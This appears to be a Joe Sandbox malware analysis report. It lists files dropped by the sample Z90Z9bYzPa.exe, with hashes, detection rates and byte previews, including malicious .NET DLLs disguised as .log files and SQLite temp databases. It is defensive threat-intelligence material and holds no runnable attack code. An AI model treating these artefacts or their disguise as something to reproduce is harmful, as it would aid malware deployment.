SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yiJU96x2J3

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yjbE75CP6o

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zAqxU8BUaZ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zLhg0HATmj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zSgpZB6dS3

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zXjovL2JSd

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zci90WerIr

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zj7djRndqm

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\0aad463ae07b20

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with very long lines (681), with no line terminators
Category:	dropped
Size (bytes):	681
Entropy (8bit):	5.87600288053677
Encrypted:	false
SSDEEP:	12:hKTeLV+rZ2ge3C8U2uc2FRTfwKeJoxk3F3hJlT6OarsIdMVb:UiLV+rwvyDfwtNJlT6DpdMVb
MD5:	6DB9C429462071ADC620E061FD4B0C96
SHA1:	F30EE3FBF3D510522D95A4EEF58E4575155827BB
SHA-256:	F4046787E995E71BA9444DE09505ABF802B5CE91DCF5308A5CF394284DE42BE3
SHA-512:	692761D2D007A01317393F196C682D9211AE214490641E95FEE8A2C03CB5A18CAD077FDE30B4BF5AAC2761FDA0E1E3035468745611020854D894392EFB450A05
Malicious:	false
Preview:	wcsKcx7Ukqeuu8nKMEVA3XUF4cvKunG7v3Myoa8e0eVVxxTaMab4nQwYHnPACxk7jh81wygvF1KZB8RGJU8TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ1ryQuXNeu8HgkHZHgnMBRrqlZgXgYubioBGuOmnZCUrqQXFrX9zt6U1KBN0OArF9gj2iAo239x9699UCbpIZ4rlTK6sBwZZVOsJqegqtG6uJU4KB2xxUiqEz7iXD51HjXorR0ni48ZS87b8PvqJ8mExinUs5ImxPzKvqN3LOP2VIXG2gjIROrI7T0Jnf4mvWmDJwpSC2f4sttoKhcMWAUihqMc0DPpTmH9gU7F0RFZtxZOjL8GDsQuBDfckNb8mzlGluIzkWWE55zuQ72oFJmlWW8czefmzGw4MTnzDIgqVMzFNvMmUx3dN9uOvpAG1tOyI5i6UDk6m5PKh2OER2SBMTrMjYDXIazl7B7SMQRRM71Sukr3a6y8bMlyNVW59NyLFnMg461BlByPcZb9rJ6Ll0KuZIE13WR9IpMGXK8eExXZXWWy3XNzQmkPccGw1AHOtzGxMVmgLbGycuWDvQ7fIbsgE6n5EMnEpIqiPjmivqoyfvxsFDAlCmGRGksQrqc8yBITEyyMoYubx3ATJ5zAMCCDCYbo0V1EOqAdndnRPx7n1peMjZHv0

C:\Users\user\Desktop\FXwdgBOn.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Joe Sandbox View:	Filename: 0J5DzstGPi.exe, Detection: malicious, Browse Filename: aW6kSsgdvv.exe, Detection: malicious, Browse Filename: HMhdtzxEHf.exe, Detection: malicious, Browse Filename: kJrNOFEGbQ.exe, Detection: malicious, Browse Filename: lEwK4xROgV.exe, Detection: malicious, Browse Filename: Gg6wivFINd.exe, Detection: malicious, Browse Filename: onlysteal.exe, Detection: malicious, Browse Filename: zZ1Y43bxxV.exe, Detection: malicious, Browse Filename: VqGD18ELBM.exe, Detection: malicious, Browse Filename: updIMdPUj8.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\FuMllXyT.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OBFTQueV.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\WBdQFKdi.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YLzRFcIi.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\nLVYNftZ.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pSQwZPnx.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\vrCFbZuL.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wpdNwZJG.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xzxenIoj.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.606362154056947
Encrypted:	false
SSDEEP:	12:POJa95pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:WJ6dUOAokItULVDv
MD5:	479265214B7D40F1F133ADCA59674F38
SHA1:	5CE8DE4410682925D3BB0CDBBB4A03405DEAE389
SHA-256:	524C3EB619E3D256AE2A24827D731AE5943268FC14FFE6D619E2E84C3119C941
SHA-512:	44D56680467E77DF23F04F7134ED52898347930E4A6F2D52287C24C8799BC91A93F10BD0FEC9A09D27FD607303FD0397A1F78486DACC92637C0FF167AD7ED34C
Malicious:	false
Preview:	..Pinging 123716 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.554851624962979
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Z90Z9bYzPa.exe
File size:	1'956'352 bytes
MD5:	f022320106ebe6ef239cb75c93f6b3ad
SHA1:	b183fb4f66d5327889a0440eca1a61a69ae9cc00
